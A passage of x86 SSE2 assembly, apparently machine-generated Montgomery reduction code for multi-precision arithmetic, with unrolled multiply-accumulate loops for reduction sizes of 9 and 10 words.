paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (48)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (20)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (52)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (52)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (24)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (56)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (56)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (28)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (60)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (60)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(32), %edx
jmp .Lfinishgas_1
.Ltst_reduct9gas_1:
cmp $(9), %edi
jne .Ltst_reduct10gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (36)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (36)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (40)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (40)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (44)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (44)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (48)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (48)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (52)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (52)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (20)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (56)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (56)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (24)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (60)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (60)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (28)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (64)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (64)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (32)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (68)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (68)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(36), %edx
jmp .Lfinishgas_1
.Ltst_reduct10gas_1:
cmp $(10), %edi
jne .Ltst_reduct11gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (40)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (40)(%edx)
